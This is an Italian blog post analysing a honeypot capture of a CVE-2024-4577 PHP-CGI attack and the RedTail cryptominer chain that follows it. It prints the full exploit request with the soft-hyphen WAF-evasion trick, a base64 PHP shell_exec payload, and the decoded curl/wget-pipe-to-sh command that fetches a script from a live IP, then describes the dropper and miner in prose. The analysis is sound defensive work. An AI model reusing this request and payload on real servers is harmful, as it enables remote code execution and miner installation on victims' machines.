Come accennavo in questo post ho iniziato ad utilizzare i dati che il nostro honeypot sta collezionando per studiare alcuni tentatici di exploiting e qualche giorno fa uno specifico log ha catturato la mia attenzione.
A calamitare la mia attenzione, è stato in realtà il contenuto della POST: quel shell_exec() non possa molto inosservato e in questo post vorrei analizzare il comportamento del payload partendo dalla POST iniziale e proseguendo con le azioni innescate (potenzialmente) dai comandi passati al server.
Partiamo dalla POST:
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input
Il “client” esegue una chiamata per il file hello.world (che non esiste sul sistema, ovviamente) a cui sembra passare una serie di parametri che analizziamo:
/hello.world?
Il file che viene chiamato dalla POST
%ADd+allow_url_include%3d1+
La stringa %AD corrisponde al carattere soft hyphen che in alcune versioni vulnerabili di php (vedi titolo) viene rimappata con il carattere “-” (il trattino). La stringa è seguita dal carattere “d”, quindi la stringa %ADd verrà interpretata come -d.
Segue uno spazio, il “+”, e una stringa che verrà interpretata come allow_url_include=1.
%ADd+auto_prepend_file%3dphp://input
In questo ultimo parametro abbiamo ancora il -d a cui segue il parametro auto_prepend_file=php://input, richiesta che in una configurazione di PHP usato in CGI chiede al sistema di utilizzare il contenuto della POST come un file PHP da eseguire sul sistema.
In pratica nella richiesta post l’attacker sta chiedendo al server di eseguire, tramite PHP, il contenuto che viene passato nel body della richiesta, elemento che ovviamente dobbiamo analizzare.
Prima di analizzare il contenuto della richiesta è giusto dedicare uno spazio alla stringa %AD: perché il threat actor sta usando questa codifica invece di utilizzare la stringa corrispondente al carattere “-“? Molti web application firewall potrebbero insospettirsi se si cercasse di inviare una richiesta “-d” a PHP in quanto il si tratta di un metodo previsto per inviare informazioni e parametri all’applicazione. Usare una differente codifica non farebbe scattare le detection rules e si otterrebbe lo stesso risultato, ammesso che le condizioni lo consentano.
Nel payload è ben visibile in contenuto e per chi ha un po’ di familiarità con il mondo dell’exploiting la richiesta potrebbe sembrare familiare.
<?php
shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzEwNy4xNTAuMC4xMDMvc2ggfHwgd2dldCBodHRwOi8vMTA3LjE1MC4wLjEwMy9zaCAtTy0pOyBlY2hvICIkWCIgfCBzaCAtcyBjdmVfMjAyNF80NTc3LnNlbGZyZXA="));
echo(md5("Hello CVE-2024-4577"));
?>
Andiamo con ordine partendo dal contenuto, ovvero quella stringona di caratteri: la codifica in base64 di qualcosa. Lo si capisce facilmente in quanto la stringa viene passata come dato alla funzione base64_decode() che si occupa di tradurre la stringa nella sua forma originale.
Il contenuto della stringa è un ben comando in shell script:
X=$(curl http://107.150.0.103/sh || wget http://107.150.0.103/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep
Questo comando viene passato alla funzione shell_exec() che, come si intuisce, si occupa di interagire con il sistema operativo del server su cui è in esecuzione l’applicazione ed eseguire i comandi che gli vengono passati. Quindi se la richiesta arriva fini a qui e php esegue le istruzioni che gli sono state impartite, il risultato sarà l’esecuzione dello script che abbiamo estratto.
Cosa fa questo script? Semplificando tenterà di scaricare il file “sh” via http da 107.150.0.103 (sistema attivo al momento della scrittura di questo post) per eseguirlo localmente.
Nota – Abbiamo guadagnato altri due artefatti: l’IP di un server che evidentemente è utilizzato per distribuire payload e un nuovo potenziale payload.
Visto che abbiamo trovato un nuovo file che viene scaricato ed eseguito ha senso andare ad analizzare anche questo nuovo componente.
Se trovi i miei contenuti interessanti puoi iscriverti al mio blog per rimare aggiornato su prossimi video, articoli e live:
Se vuoi sostenere il mio progetto di divulgazione puoi diventare un mio supporter su Patreon.
Se analizziamo il contenuto del file “sh” troviamo quanto codice che divido in parti per commentarlo assieme (ho dato una sistemata al codice per renderlo più leggibile).
Viene dichiarata una funzione dlr() utilizzata per fornire allo script tre diversi modi per eseguire il download del file passato come argomento alla funzione. Quindi se si chiama la funzione passando come argomento la stringa “sheliak” si otterrà il tentativo di download di un file da http[://]107.150[.]0.103/sheliak.
Con questa serie di comandi lo script determina quali directory, all’interno del sistema, consentono l’accesso in scrittura e consentono di eseguire file (ad esempio dei binary) al loro interno. È evidente che il threat actor sta, in questo caso, sondando il terreno per capire dove eventualmente posizionare un malware eseguibile dall’utente che sta lanciando i comandi. Viene inoltre letta versione dell’architettura e salvata nella variabile ARCH.
Lo script controlla se nelle directory individuate (più alcune aggiunte direttamente al for) è possibile scrivere file di almeno 2 MB. Evidentemente si vuole accertare di avere spazio a sufficienza per le prossime azioni.
In fine viene chiamata la funzione dlr (descritta prima) per scaricare il file clean. Il file viene reso eseguibile, lanciato e poi rimosso. Quindi abbiamo un nuovo elemento da analizzare.
Prima di terminare lo script esegue il download di un altro file: sulla base del tipo di architettura rilevata scarica un file tra quelli definiti nelle condizioni: x86_64, i686, aarch64, arm7. Il file scaricato viene rinominato in .redtail (file nascosto quindi) ed eseguito. Questo file non viene rimosso a fine script.
Da questo payload emergono quindi due nuovi elementi: clean e .redtail.
Si tratta di un nuovo shell script che, visto il contesto, fa una cosa curiosa: pulisce la configurazione del crontab della macchina da eventuali compromissioni e tenta di disabilitare i servizi relativi ad un nostro crypto miner: c3pool_miner.
In questa prima analisi non mi è chiara la motivazione dell’utilizzo di questo script. Potrebbe essere un tentativo di “depistaggio” in caso di analisi degli artefatti o per qualche ragione il threat actor preferisce liberare da eventuali altre compromissioni in sistema.
A questo file ci siamo temporaneamente fermati: si tratta di un binary scaricato in relazione all’architettura rilevata sul sistema. Durante il nostro test abbiamo scaricato due versioni: x86_64 e i686.
Ho usato alcuni strumenti facilmente accessibili per avere un’idea del tipo di eseguibile individuato, in particolare è stato d’aiuto VirusTotal e Hybrid Analysis che concordano sul verdetto del malware noto.
Hybrid Analysis segnala anche due IoC correlati, in particolare due IP address da cui il file è stato scaricato in passate analisi:
L’informazione può essere aggiunta come dato documentato in un report di threat intelligence assieme agli indirizzi IP rilevati nei nostri payload.
Il file viene identificato come crypto miner, dato che può in parte spiegare come mai il threat actor cerchi di pulire il sistema da altri eventuali miner. Si tratta inoltre di un malware rilevato staticamente da molti anti-malware, ma va considerato che molte VPS utilizzate per servizi web non vengono dotate di alti-malware e quindi troverebbero campo libero.
In questo post non vado oltre con l’analisi del binary ma mi sto attrezzando per fare qualcosa di più ed eventualmente pubblicherò una seconda parte.
Mi resta un grande dubbio da chiarire: perché il threat actor si è scomodato ad utilizzare una vuln. nota per php che teoricamente ha senso solo su sistemi Windows per poi inanellare una serie di payload per linux?
Sull’ultimo payload ci voglio tornare. Qui vi lascio il link alla live in cui abbiamo fatto parte dell’analisi: https://www.patreon.com/posts/live-session-di-130916123.